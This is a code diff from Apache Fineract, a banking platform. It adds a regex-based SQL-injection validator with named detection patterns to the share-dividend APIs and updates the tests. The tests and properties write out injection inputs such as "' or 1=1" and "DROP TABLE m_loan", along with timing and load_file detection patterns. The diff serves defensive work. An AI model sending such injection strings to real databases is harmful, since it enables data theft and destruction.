diff --git a/fineract-provider/src/main/java/org/apache/fineract/portfolio/shareaccounts/service/ShareAccountDividendReadPlatformServiceImpl.java b/fineract-provider/src/main/java/org/apache/fineract/portfolio/shareaccounts/service/ShareAccountDividendReadPlatformServiceImpl.java
index 25a36c1..8e485b9 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/portfolio/shareaccounts/service/ShareAccountDividendReadPlatformServiceImpl.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/portfolio/shareaccounts/service/ShareAccountDividendReadPlatformServiceImpl.java
@@ -74,20 +74,20 @@
             sqlBuilder.append(" and sa.account_no = ? ");
             params.add(searchParameters.getAccountNo());
         }
-        if (searchParameters.isOrderByRequested()) {
+        if (searchParameters.hasOrderBy()) {
             sqlBuilder.append(" order by ").append(searchParameters.getOrderBy());
             this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getOrderBy());
 
-            if (searchParameters.isSortOrderProvided()) {
+            if (searchParameters.hasSortOrder()) {
                 sqlBuilder.append(' ').append(searchParameters.getSortOrder());
                 this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getSortOrder());
 
             }
         }
 
-        if (searchParameters.isLimited()) {
+        if (searchParameters.hasLimit()) {
             sqlBuilder.append(" ");
-            if (searchParameters.isOffset()) {
+            if (searchParameters.hasOffset()) {
                 sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset()));
             } else {
                 sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit()));
diff --git a/fineract-provider/src/main/java/org/apache/fineract/portfolio/shareproducts/api/ShareDividendApiResource.java b/fineract-provider/src/main/java/org/apache/fineract/portfolio/shareproducts/api/ShareDividendApiResource.java
index 535baa1..9e04f49 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/portfolio/shareproducts/api/ShareDividendApiResource.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/portfolio/shareproducts/api/ShareDividendApiResource.java
@@ -40,6 +40,7 @@
 import org.apache.fineract.infrastructure.core.service.Page;
 import org.apache.fineract.infrastructure.core.service.SearchParameters;
 import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
+import org.apache.fineract.infrastructure.security.service.SqlValidator;
 import org.apache.fineract.portfolio.shareaccounts.data.ShareAccountDividendData;
 import org.apache.fineract.portfolio.shareaccounts.service.ShareAccountDividendReadPlatformService;
 import org.apache.fineract.portfolio.shareproducts.data.ShareProductDividendPayOutData;
@@ -60,6 +61,7 @@
     private final PortfolioCommandSourceWritePlatformService commandsSourceWritePlatformService;
     private final ShareAccountDividendReadPlatformService shareAccountDividendReadPlatformService;
     private final ShareProductDividendReadPlatformService shareProductDividendReadPlatformService;
+    private final SqlValidator sqlValidator;
 
     @GET
     @Consumes({ MediaType.APPLICATION_JSON })
@@ -69,7 +71,10 @@
             @QueryParam("sortOrder") final String sortOrder, @QueryParam("status") final Integer status) {
 
         this.platformSecurityContext.authenticatedUser().validateHasReadPermission(RESOURCE_NAME_FOR_PERMISSIONS);
-        final SearchParameters searchParameters = SearchParameters.forPagination(offset, limit, orderBy, sortOrder);
+        sqlValidator.validate(orderBy);
+        sqlValidator.validate(sortOrder);
+        final SearchParameters searchParameters = SearchParameters.builder().limit(limit).offset(offset).orderBy(orderBy)
+                .sortOrder(sortOrder).build();
         Page<ShareProductDividendPayOutData> dividendPayoutDetails = this.shareProductDividendReadPlatformService.retriveAll(productId,
                 status, searchParameters);
         return this.toApiJsonSerializer.serialize(dividendPayoutDetails);
@@ -85,8 +90,11 @@
             @PathParam("productId") final Long productId) {
 
         this.platformSecurityContext.authenticatedUser().validateHasReadPermission(RESOURCE_NAME_FOR_PERMISSIONS);
-        final SearchParameters searchParameters = SearchParameters.forPaginationAndAccountNumberSearch(offset, limit, orderBy, sortOrder,
-                accountNo);
+        sqlValidator.validate(orderBy);
+        sqlValidator.validate(sortOrder);
+        sqlValidator.validate(accountNo);
+        final SearchParameters searchParameters = SearchParameters.builder().limit(limit).offset(offset).orderBy(orderBy)
+                .sortOrder(sortOrder).accountNo(accountNo).build();
         Page<ShareAccountDividendData> dividendDetails = this.shareAccountDividendReadPlatformService.retriveAll(dividendId,
                 searchParameters);
         return this.toApiAccountDetailJsonSerializer.serialize(dividendDetails);
diff --git a/fineract-provider/src/main/java/org/apache/fineract/portfolio/shareproducts/service/ShareProductDividendReadPlatformServiceImpl.java b/fineract-provider/src/main/java/org/apache/fineract/portfolio/shareproducts/service/ShareProductDividendReadPlatformServiceImpl.java
index 2e8bc0b..f9f9212 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/portfolio/shareproducts/service/ShareProductDividendReadPlatformServiceImpl.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/portfolio/shareproducts/service/ShareProductDividendReadPlatformServiceImpl.java
@@ -62,19 +62,19 @@
             sqlBuilder.append(" and pod.status = ?");
             params.add(status);
         }
-        if (searchParameters.isOrderByRequested()) {
+        if (searchParameters.hasOrderBy()) {
             sqlBuilder.append(" order by ").append(searchParameters.getOrderBy());
             this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getOrderBy());
 
-            if (searchParameters.isSortOrderProvided()) {
+            if (searchParameters.hasSortOrder()) {
                 sqlBuilder.append(' ').append(searchParameters.getSortOrder());
                 this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getSortOrder());
             }
         }
 
-        if (searchParameters.isLimited()) {
+        if (searchParameters.hasLimit()) {
             sqlBuilder.append(" ");
-            if (searchParameters.isOffset()) {
+            if (searchParameters.hasOffset()) {
                 sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset()));
             } else {
                 sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit()));
diff --git a/fineract-provider/src/main/resources/application.properties b/fineract-provider/src/main/resources/application.properties
index 9b31b39..326c3f5 100644
--- a/fineract-provider/src/main/resources/application.properties
+++ b/fineract-provider/src/main/resources/application.properties
@@ -179,6 +179,101 @@
 
 fineract.insecure-http-client=${FINERACT_INSECURE_HTTP_CLIENT:true}
 
+# sql validation
+
+# inject-blind
+fineract.sql-validation.patterns[0].name=inject-blind
+fineract.sql-validation.patterns[0].pattern=(?i).*[\\"'`]?\\s*[and|or]+\\s*[\\"'`]?([\\d\\w])+[\\"'`]?\\s*=\\s*[\\"'`]?(\\1)[\\"'`]?\\s*.*
+
+# detect-entry-point
+fineract.sql-validation.patterns[1].name=detect-entry-point
+fineract.sql-validation.patterns[1].pattern=(?i)^[\\"'`]?[\\)\\s]+
+
+# inject-timing
+fineract.sql-validation.patterns[2].name=inject-timing
+fineract.sql-validation.patterns[2].pattern=(?i).*[\\"'`]?\\s*[and|\\+|&|\\|]+.*\\s*[sleep|pg_sleep|benchmark]+\\s*(\\(\\s*\\d+\\s*[,]?\\s*.*\\s*\\))+.*
+
+# detect-backend
+fineract.sql-validation.patterns[3].name=detect-backend
+fineract.sql-validation.patterns[3].pattern=(?i).*\\[\\s*\\"(\\w+\\(.*\\))=(\\1)\\"\\s*,\\s*\\"\\w+\\"\\s*\\].*
+
+# detect-column
+fineract.sql-validation.patterns[4].name=detect-column
+fineract.sql-validation.patterns[4].pattern=(?i).*[\\"'`]?\\s*(order\\s*by|group\\s*by|union\\s*select)+\\s+([\\d+|null]?\\s*,*\\s*)+\\s*.*
+
+# detect-out-of-bands
+fineract.sql-validation.patterns[5].name=detect-out-of-bands
+fineract.sql-validation.patterns[5].pattern=(?i).*(select)+\\s+(load_file)+.*
+
+# inject-stacked-query
+fineract.sql-validation.patterns[6].name=inject-stacked-query
+fineract.sql-validation.patterns[6].pattern=(?i).*[;]+\\s*(create|drop|alter|truncate|comment|select|insert|update|delete|merge|upsert|call|exec)+.*(from|into|set|table|column|database)*.*
+
+# inject-comment
+fineract.sql-validation.patterns[7].name=inject-comment
+fineract.sql-validation.patterns[7].pattern=(?i).*\\s+(-|/\\*|#|\\(\\{)++.*
+
+# main
+fineract.sql-validation.profiles[0].name=main
+fineract.sql-validation.profiles[0].description=Main Query Validation Profile
+fineract.sql-validation.profiles[0].patternRefs[0].name=inject-blind
+fineract.sql-validation.profiles[0].patternRefs[0].order=0
+fineract.sql-validation.profiles[0].patternRefs[1].name=detect-entry-point
+fineract.sql-validation.profiles[0].patternRefs[1].order=1
+fineract.sql-validation.profiles[0].patternRefs[2].name=inject-timing
+fineract.sql-validation.profiles[0].patternRefs[2].order=2
+fineract.sql-validation.profiles[0].patternRefs[3].name=detect-backend
+fineract.sql-validation.profiles[0].patternRefs[3].order=3
+fineract.sql-validation.profiles[0].patternRefs[4].name=detect-column
+fineract.sql-validation.profiles[0].patternRefs[4].order=4
+fineract.sql-validation.profiles[0].patternRefs[5].name=detect-out-of-bands
+fineract.sql-validation.profiles[0].patternRefs[5].order=5
+fineract.sql-validation.profiles[0].patternRefs[6].name=inject-stacked-query
+fineract.sql-validation.profiles[0].patternRefs[6].order=6
+fineract.sql-validation.profiles[0].patternRefs[7].name=inject-comment
+fineract.sql-validation.profiles[0].patternRefs[7].order=7
+fineract.sql-validation.profiles[0].enabled=true
+
+# adhoc
+fineract.sql-validation.profiles[1].name=adhoc
+fineract.sql-validation.profiles[1].description=Adhoc Query Validation Profile
+fineract.sql-validation.profiles[1].patternRefs[0].name=inject-blind
+fineract.sql-validation.profiles[1].patternRefs[0].order=0
+fineract.sql-validation.profiles[1].patternRefs[1].name=detect-entry-point
+fineract.sql-validation.profiles[1].patternRefs[1].order=1
+fineract.sql-validation.profiles[1].patternRefs[2].name=inject-timing
+fineract.sql-validation.profiles[1].patternRefs[2].order=2
+fineract.sql-validation.profiles[1].patternRefs[3].name=detect-backend
+fineract.sql-validation.profiles[1].patternRefs[3].order=3
+fineract.sql-validation.profiles[1].patternRefs[4].name=detect-column
+fineract.sql-validation.profiles[1].patternRefs[4].order=4
+fineract.sql-validation.profiles[1].patternRefs[5].name=detect-out-of-bands
+fineract.sql-validation.profiles[1].patternRefs[5].order=5
+fineract.sql-validation.profiles[1].patternRefs[6].name=inject-stacked-query
+fineract.sql-validation.profiles[1].patternRefs[6].order=6
+fineract.sql-validation.profiles[1].patternRefs[7].name=inject-comment
+fineract.sql-validation.profiles[1].patternRefs[7].order=7
+fineract.sql-validation.profiles[1].enabled=true
+
+# dynamic
+fineract.sql-validation.profiles[2].name=column
+fineract.sql-validation.profiles[2].description=Column Validation Profile
+fineract.sql-validation.profiles[2].patternRefs[0].name=inject-blind
+fineract.sql-validation.profiles[2].patternRefs[0].order=0
+fineract.sql-validation.profiles[2].patternRefs[1].name=detect-entry-point
+fineract.sql-validation.profiles[2].patternRefs[1].order=1
+fineract.sql-validation.profiles[2].patternRefs[2].name=inject-timing
+fineract.sql-validation.profiles[2].patternRefs[2].order=2
+fineract.sql-validation.profiles[2].patternRefs[3].name=detect-backend
+fineract.sql-validation.profiles[2].patternRefs[3].order=3
+fineract.sql-validation.profiles[2].patternRefs[4].name=detect-out-of-bands
+fineract.sql-validation.profiles[2].patternRefs[4].order=4
+fineract.sql-validation.profiles[2].patternRefs[5].name=inject-stacked-query
+fineract.sql-validation.profiles[2].patternRefs[5].order=5
+fineract.sql-validation.profiles[2].patternRefs[6].name=inject-comment
+fineract.sql-validation.profiles[2].patternRefs[6].order=6
+fineract.sql-validation.profiles[2].enabled=true
+
 # Logging pattern for the console
 logging.pattern.console=${CONSOLE_LOG_PATTERN:%clr(%d{yyyy-MM-dd HH:mm:ss.SSS}){faint} %clr(${LOG_LEVEL_PATTERN:-%5p}) %clr(${PID:- }){magenta} %clr(%replace([%X{correlationId}]){'\\[\\]', ''}) %clr(---){faint} %clr([%15.15t]){faint} %clr(%-40.40logger{39}){cyan} %clr(:){faint} %m%n${LOG_EXCEPTION_CONVERSION_WORD:%wEx}}
 logging.pattern.level=%5p [${spring.application.name:},%X{traceId:-},%X{spanId:-}]
diff --git a/fineract-provider/src/test/java/org/apache/fineract/TestConfiguration.java b/fineract-provider/src/test/java/org/apache/fineract/TestConfiguration.java
index 68330dd..8d48035 100644
--- a/fineract-provider/src/test/java/org/apache/fineract/TestConfiguration.java
+++ b/fineract-provider/src/test/java/org/apache/fineract/TestConfiguration.java
@@ -38,6 +38,7 @@
 import org.apache.fineract.infrastructure.core.service.migration.TenantDatabaseStateVerifier;
 import org.apache.fineract.infrastructure.core.service.migration.TenantDatabaseUpgradeService;
 import org.apache.fineract.infrastructure.core.service.tenant.TenantDetailsService;
+import org.apache.fineract.infrastructure.dataqueries.service.GenericDataService;
 import org.apache.fineract.infrastructure.jobs.ScheduledJobRunnerConfig;
 import org.apache.fineract.infrastructure.jobs.service.JobRegisterService;
 import org.junit.jupiter.api.extension.ExtendWith;
@@ -45,7 +46,7 @@
 import org.mockito.junit.jupiter.MockitoExtension;
 import org.mockito.junit.jupiter.MockitoSettings;
 import org.mockito.quality.Strictness;
-import org.springframework.batch.core.configuration.ListableJobLocator;
+import org.springframework.batch.core.configuration.JobRegistry;
 import org.springframework.batch.core.explore.JobExplorer;
 import org.springframework.batch.core.launch.JobLauncher;
 import org.springframework.batch.core.launch.JobOperator;
@@ -101,18 +102,6 @@
 
     @Primary
     @Bean
-    public JobExplorer jobExplorer() {
-        return mock(JobExplorer.class, RETURNS_MOCKS);
-    }
-
-    @Primary
-    @Bean
-    public JobLauncher jobLauncher() {
-        return mock(JobLauncher.class, RETURNS_MOCKS);
-    }
-
-    @Primary
-    @Bean
     public HikariDataSource tenantDataSource() {
         HikariDataSource mockDataSource = mock(HikariDataSource.class, Mockito.RETURNS_MOCKS);
         return mockDataSource;
@@ -189,8 +178,20 @@
 
     @Primary
     @Bean
-    public ListableJobLocator listableJobLocator() {
-        return mock(ListableJobLocator.class, RETURNS_MOCKS);
+    public JobExplorer jobExplorer() {
+        return mock(JobExplorer.class, RETURNS_MOCKS);
+    }
+
+    @Primary
+    @Bean
+    public JobLauncher jobLauncher() {
+        return mock(JobLauncher.class, RETURNS_MOCKS);
+    }
+
+    @Primary
+    @Bean
+    public JobRegistry jobRegistry() {
+        return mock(JobRegistry.class, RETURNS_MOCKS);
     }
 
     @Primary
@@ -210,4 +211,10 @@
     public OkHttpClient okHttpClient() {
         return mock(OkHttpClient.class, RETURNS_MOCKS);
     }
+
+    @Primary
+    @Bean
+    public GenericDataService genericDataService() {
+        return mock(GenericDataService.class, RETURNS_MOCKS);
+    }
 }
diff --git a/fineract-provider/src/test/java/org/apache/fineract/infrastructure/dataqueries/service/ReadWriteNonCoreDataServiceImplTest.java b/fineract-provider/src/test/java/org/apache/fineract/infrastructure/dataqueries/service/ReadWriteNonCoreDataServiceImplTest.java
index b8bd947..018626b 100644
--- a/fineract-provider/src/test/java/org/apache/fineract/infrastructure/dataqueries/service/ReadWriteNonCoreDataServiceImplTest.java
+++ b/fineract-provider/src/test/java/org/apache/fineract/infrastructure/dataqueries/service/ReadWriteNonCoreDataServiceImplTest.java
@@ -32,31 +32,34 @@
 import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
 import java.util.List;
 import java.util.stream.Stream;
+import org.apache.fineract.TestConfiguration;
 import org.apache.fineract.infrastructure.core.exception.PlatformApiDataValidationException;
 import org.apache.fineract.infrastructure.core.service.database.DatabaseSpecificSQLGenerator;
 import org.apache.fineract.infrastructure.core.service.database.DatabaseType;
 import org.apache.fineract.infrastructure.core.service.database.DatabaseTypeResolver;
 import org.apache.fineract.infrastructure.dataqueries.data.ResultsetColumnHeaderData;
 import org.apache.fineract.infrastructure.dataqueries.exception.DatatableNotFoundException;
-import org.junit.jupiter.api.BeforeEach;
 import org.junit.jupiter.api.Test;
 import org.junit.jupiter.params.ParameterizedTest;
 import org.junit.jupiter.params.provider.Arguments;
 import org.junit.jupiter.params.provider.MethodSource;
-import org.mockito.InjectMocks;
 import org.mockito.Mock;
 import org.mockito.Mockito;
-import org.mockito.MockitoAnnotations;
+import org.springframework.beans.factory.annotation.Autowired;
+import org.springframework.boot.test.context.SpringBootTest;
 import org.springframework.jdbc.core.JdbcTemplate;
 import org.springframework.jdbc.support.rowset.SqlRowSet;
+import org.springframework.test.context.ContextConfiguration;
 
+@SpringBootTest
+@ContextConfiguration(classes = TestConfiguration.class)
 @SuppressFBWarnings(value = "RV_EXCEPTION_NOT_THROWN", justification = "False positive")
 public class ReadWriteNonCoreDataServiceImplTest {
 
-    @Mock
+    @Autowired
     private JdbcTemplate jdbcTemplate;
 
-    @Mock
+    @Autowired
     private GenericDataService genericDataService;
 
     @Mock
@@ -65,17 +68,13 @@
     @Mock
     private DatabaseSpecificSQLGenerator sqlGenerator;
 
-    @InjectMocks
-    private ReadWriteNonCoreDataServiceImpl underTest;
-
-    @BeforeEach
-    public void setup() {
-        MockitoAnnotations.openMocks(this);
-    }
+    @Autowired
+    private ReadWriteNonCoreDataService underTest;
 
     @Test
     public void testSqlInjectionCaughtQueryDataTable() {
-        mockDatatableValidation();
+        when(jdbcTemplate.queryForObject(anyString(), eq(Integer.class), anyString())).thenReturn(1);
+
         assertThrows(PlatformApiDataValidationException.class, () -> {
             underTest.queryDataTable("table", "cf1", "vf1", "' or 1=1");
         });
@@ -83,7 +82,8 @@
 
     @Test
     public void testSqlInjectionCaughtQueryDataTable2() {
-        mockDatatableValidation();
+        when(jdbcTemplate.queryForObject(anyString(), eq(Integer.class), anyString())).thenReturn(1);
+
         assertThrows(PlatformApiDataValidationException.class, () -> {
             underTest.queryDataTable("table", "cf1", "vf1", "1; DROP TABLE m_loan; SELECT");
         });
@@ -91,8 +91,9 @@
 
     @Test
     public void testQueryDataTableSuccess() {
-        mockDatatableValidation();
         SqlRowSet sqlRS = Mockito.mock(SqlRowSet.class);
+
+        when(jdbcTemplate.queryForObject(anyString(), eq(Integer.class), anyString())).thenReturn(1);
         when(jdbcTemplate.queryForRowSet(eq("SELECT \"rc1\", \"rc2\" FROM \"table\" WHERE \"cf1\" = ?"), any(Object.class)))
                 .thenReturn(sqlRS);
         when(sqlRS.next()).thenReturn(true).thenReturn(false);
@@ -111,6 +112,7 @@
                 false, dialect);
         ResultsetColumnHeaderData rc2 = ResultsetColumnHeaderData.detailed("rc2", "text", 10L, false, false, emptyList(), null, false,
                 false, dialect);
+
         when(genericDataService.fillResultsetColumnHeaders("table")).thenReturn(List.of(cf1, rc1, rc2));
 
         List<JsonObject> results = underTest.queryDataTable("table", "cf1", "vf1", "rc1,rc2");
@@ -121,8 +123,9 @@
 
     @Test
     public void testQueryDataTableValidationError() {
-        mockDatatableValidation();
+        when(jdbcTemplate.queryForObject(anyString(), eq(Integer.class), anyString())).thenReturn(1);
         when(genericDataService.fillResultsetColumnHeaders("table")).thenReturn(emptyList());
+
         assertThrows(PlatformApiDataValidationException.class, () -> underTest.queryDataTable("table", "cf1", "vf1", "rc1,rc2"));
     }
 
@@ -136,8 +139,9 @@
     @ParameterizedTest
     @MethodSource("provideParameters")
     public void testQueryDataTableInvalidParameterError(String columnType, String errorMessage) {
-        mockDatatableValidation();
+        when(jdbcTemplate.queryForObject(anyString(), eq(Integer.class), anyString())).thenReturn(1);
         when(databaseTypeResolver.databaseType()).thenReturn(DatabaseType.POSTGRESQL);
+
         DatabaseType dialect = databaseTypeResolver.databaseType();
         ResultsetColumnHeaderData cf1 = ResultsetColumnHeaderData.detailed("cf1", columnType, 10L, false, false, emptyList(), null, false,
                 false, dialect);
@@ -154,10 +158,6 @@
         assertEquals(errorMessage, thrown.getErrors().get(0).getUserMessageGlobalisationCode());
     }
 
-    private void mockDatatableValidation() {
-        when(jdbcTemplate.queryForObject(anyString(), eq(Integer.class), anyString())).thenReturn(1);
-    }
-
     private static Stream<Arguments> provideParameters() {
         return Stream.of(Arguments.of("timestamp without time zone", "validation.msg.invalid.dateFormat.format"),
                 Arguments.of("INTEGER", "validation.msg.invalid.integer.format"),
diff --git a/fineract-provider/src/test/java/org/apache/fineract/infrastructure/security/utils/SQLInjectionValidatorTest.java b/fineract-provider/src/test/java/org/apache/fineract/infrastructure/security/utils/SQLInjectionValidatorTest.java
deleted file mode 100644
index cda6583..0000000
--- a/fineract-provider/src/test/java/org/apache/fineract/infrastructure/security/utils/SQLInjectionValidatorTest.java
+++ /dev/null
@@ -1,149 +0,0 @@
-/**
- * Licensed to the Apache Software Foundation (ASF) under one
- * or more contributor license agreements. See the NOTICE file
- * distributed with this work for additional information
- * regarding copyright ownership. The ASF licenses this file
- * to you under the Apache License, Version 2.0 (the
- * "License"); you may not use this file except in compliance
- * with the License. You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing,
- * software distributed under the License is distributed on an
- * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
- * KIND, either express or implied. See the License for the
- * specific language governing permissions and limitations
- * under the License.
- */
-package org.apache.fineract.infrastructure.security.utils;
-
-import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
-import java.util.Arrays;
-import org.junit.jupiter.api.Assertions;
-import org.junit.jupiter.api.Test;
-
-@SuppressFBWarnings(value = "RV_EXCEPTION_NOT_THROWN", justification = "False positive")
-public class SQLInjectionValidatorTest {
-
-    private static final String[] DDL_COMMANDS = { "create", "drop", "alter", "truncate", "comment", "sleep" };
-    private static final String[] DML_COMMANDS = { "select", "insert", "update", "delete", "merge", "upsert", "call" };
-    private static final String[] COMMENTS = { "--", "({", "/*", "#" };
-
-    @Test
-    public void testValidateSqlInputQuote() {
-        Assertions.assertThrows(SQLInjectionException.class, () -> {
-            SQLInjectionValidator.validateSQLInput("' or 1=1");
-        });
-    }
-
-    @Test
-    public void testValidateSqlInputSemicolon() {
-        Assertions.assertThrows(SQLInjectionException.class, () -> {
-            SQLInjectionValidator.validateSQLInput("; drop table foo;");
-        });
-    }
-
-    @Test
-    public void testValidateAdhocQueryQuote() {
-        Assertions.assertThrows(SQLInjectionException.class, () -> {
-            SQLInjectionValidator.validateAdhocQuery("' or 1=1");
-        });
-    }
-
-    @Test
-    public void testValidateAdhocQuerySemicolon() {
-        Assertions.assertThrows(SQLInjectionException.class, () -> {
-            SQLInjectionValidator.validateAdhocQuery("; drop table foo;");
-        });
-    }
-
-    @Test
-    public void testValidateDynamicQueryQuote() {
-        Assertions.assertThrows(SQLInjectionException.class, () -> {
-            SQLInjectionValidator.validateDynamicQuery("' or 1=1");
-        });
-    }
-
-    @Test
-    public void testValidateDynamicQuerySemicolon() {
-        Assertions.assertThrows(SQLInjectionException.class, () -> {
-            SQLInjectionValidator.validateDynamicQuery("; drop table foo;");
-        });
-    }
-
-    @Test
-    public void testValidateSqlLInputReservedWords() {
-        Arrays.asList(DDL_COMMANDS).forEach(ddl -> {
-            Assertions.assertThrows(SQLInjectionException.class, () -> {
-                SQLInjectionValidator.validateSQLInput(ddl);
-            });
-        });
-
-        Arrays.asList(DML_COMMANDS).forEach(dml -> {
-            Assertions.assertThrows(SQLInjectionException.class, () -> {
-                SQLInjectionValidator.validateSQLInput(dml);
-            });
-        });
-
-        Arrays.asList(COMMENTS).forEach(comment -> {
-            Assertions.assertThrows(SQLInjectionException.class, () -> {
-                SQLInjectionValidator.validateSQLInput(comment);
-            });
-        });
-    }
-
-    @Test
-    public void testValidateAdhocQueryReservedWords() {
-        Arrays.asList(DDL_COMMANDS).forEach(ddl -> {
-            Assertions.assertThrows(SQLInjectionException.class, () -> {
-                SQLInjectionValidator.validateAdhocQuery(ddl);
-            });
-        });
-
-        // left out intentionally from adhocquery validation?
-        // Arrays.asList(DML_COMMANDS).forEach(dml -> {
-        // Assertions.assertThrows(SQLInjectionException.class, () -> {
-        // SQLInjectionValidator.validateAdhocQuery(dml);
-        // });
-        // });
-
-        Arrays.asList(COMMENTS).forEach(comment -> {
-            Assertions.assertThrows(SQLInjectionException.class, () -> {
-                SQLInjectionValidator.validateAdhocQuery(comment);
-            });
-        });
-    }
-
-    @Test
-    public void testValidateDynamicQueryReservedWords() {
-        Arrays.asList(DDL_COMMANDS).forEach(ddl -> {
-            Assertions.assertThrows(SQLInjectionException.class, () -> {
-                SQLInjectionValidator.validateDynamicQuery(ddl);
-            });
-        });
-
-        Arrays.asList(DML_COMMANDS).forEach(dml -> {
-            Assertions.assertThrows(SQLInjectionException.class, () -> {
-                SQLInjectionValidator.validateDynamicQuery(dml);
-            });
-        });
-
-        Arrays.asList(COMMENTS).forEach(comment -> {
-            Assertions.assertThrows(SQLInjectionException.class, () -> {
-                SQLInjectionValidator.validateDynamicQuery(comment);
-            });
-        });
-    }
-
-    @Test
-    public void testValidateDynamicQueryColon() {
-        SQLInjectionValidator.validateDynamicQuery("2022-10-13 18:40:21");
-    }
-
-    @Test
-    public void testValidateDynamicQueryReservedWordsInsideValue() {
-        Arrays.asList(DDL_COMMANDS).forEach(ddl -> SQLInjectionValidator.validateDynamicQuery("foo" + ddl));
-        Arrays.asList(DML_COMMANDS).forEach(dml -> SQLInjectionValidator.validateDynamicQuery("foo" + dml));
-    }
-}
diff --git a/fineract-provider/src/test/java/org/apache/fineract/infrastructure/security/utils/SqlValidatorStepDefinitions.java b/fineract-provider/src/test/java/org/apache/fineract/infrastructure/security/utils/SqlValidatorStepDefinitions.java
new file mode 100644
index 0000000..fb0bcf2
--- /dev/null
+++ b/fineract-provider/src/test/java/org/apache/fineract/infrastructure/security/utils/SqlValidatorStepDefinitions.java
@@ -0,0 +1,74 @@
+/**
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements. See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership. The ASF licenses this file
+ * to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing,
+ * software distributed under the License is distributed on an
+ * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ * KIND, either express or implied. See the License for the
+ * specific language governing permissions and limitations
+ * under the License.
+ */
+package org.apache.fineract.infrastructure.security.utils;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+import io.cucumber.java8.En;
+import org.apache.commons.lang3.RandomStringUtils;
+import org.apache.commons.lang3.StringUtils;
+import org.apache.fineract.infrastructure.security.exception.SqlValidationException;
+import org.apache.fineract.infrastructure.security.service.SqlValidator;
+import org.junit.jupiter.api.Assertions;
+import org.junit.jupiter.api.function.Executable;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+import org.springframework.beans.factory.annotation.Autowired;
+
+public class SqlValidatorStepDefinitions implements En {
+
+    private static final Logger log = LoggerFactory.getLogger(SqlValidatorStepDefinitions.class);
+
+    @Autowired
+    private SqlValidator sqlValidator;
+
+    private Executable executable;
+    private String statement;
+    private Integer fuzzy = 0;
+
+    public SqlValidatorStepDefinitions() {
+        Given("/^A partial SQL statement (.*) with whitespaces fuzzy degree (\\d*)$/", (String statement, Integer fuzzy) -> {
+            this.statement = statement;
+            if (fuzzy != null) {
+                this.fuzzy = fuzzy;
+            }
+        });
+
+        When("Validating the partial statement", () -> {
+            if (fuzzy != null && fuzzy > 0) {
+                String whitespaces = RandomStringUtils.random(fuzzy, '\n', '\r', '\t', ' ');
+                statement = statement.replaceAll(" ", whitespaces);
+            }
+
+            executable = () -> sqlValidator.validate(statement);
+        });
+
+        Then("/^The validator had exception message (.*)$/", (String expectedMessage) -> {
+            if (StringUtils.isBlank(expectedMessage)) {
+                Assertions.assertDoesNotThrow(executable);
+            } else {
+                var exception = Assertions.assertThrows(SqlValidationException.class, executable);
+
+                assertEquals(expectedMessage, exception.getMessage());
+
+                // log.info("Validator message: {}", exception.getMessage());
+            }
+        });
+    }
+}
diff --git a/fineract-provider/src/test/resources/application-test.properties b/fineract-provider/src/test/resources/application-test.properties
index 416ffc1..fe02f28 100644
--- a/fineract-provider/src/test/resources/application-test.properties
+++ b/fineract-provider/src/test/resources/application-test.properties
@@ -99,6 +99,103 @@
 
 fineract.module.investor.enabled=true
 
+# sql validation
+
+# inject-blind
+fineract.sql-validation.patterns[0].name=inject-blind
+fineract.sql-validation.patterns[0].pattern=(?i).*[\\"'`]?\\s*[and|or]+\\s*[\\"'`]?([\\d\\w])+[\\"'`]?\\s*=\\s*[\\"'`]?(\\1)[\\"'`]?\\s*.*
+
+# detect-entry-point
+fineract.sql-validation.patterns[1].name=detect-entry-point
+fineract.sql-validation.patterns[1].pattern=(?i)^[\\"'`]?[\\)\\s]+
+
+# inject-timing
+fineract.sql-validation.patterns[2].name=inject-timing
+fineract.sql-validation.patterns[2].pattern=(?i).*[\\"'`]?\\s*[and|\\+|&|\\|]+.*\\s*[sleep|pg_sleep|benchmark]+\\s*(\\(\\s*\\d+\\s*[,]?\\s*.*\\s*\\))+.*
+
+# detect-backend
+fineract.sql-validation.patterns[3].name=detect-backend
+fineract.sql-validation.patterns[3].pattern=(?i).*\\[\\s*\\"(\\w+\\(.*\\))=(\\1)\\"\\s*,\\s*\\"\\w+\\"\\s*\\].*
+
+# detect-column
+fineract.sql-validation.patterns[4].name=detect-column
+fineract.sql-validation.patterns[4].pattern=(?i).*[\\"'`]?\\s*(order\\s*by|group\\s*by|union\\s*select)+\\s+([\\d+|null]?\\s*,*\\s*)+\\s*.*
+
+# detect-out-of-bands
+fineract.sql-validation.patterns[5].name=detect-out-of-bands
+fineract.sql-validation.patterns[5].pattern=(?i).*(select)+\\s+(load_file)+.*
+
+# inject-stacked-query
+fineract.sql-validation.patterns[6].name=inject-stacked-query
+fineract.sql-validation.patterns[6].pattern=(?i).*[;]+\\s*(create|drop|alter|truncate|comment|select|insert|update|delete|merge|upsert|call|exec)+.*(from|into|set|table|column|database)*.*
+
+# inject-comment
+fineract.sql-validation.patterns[7].name=inject-comment
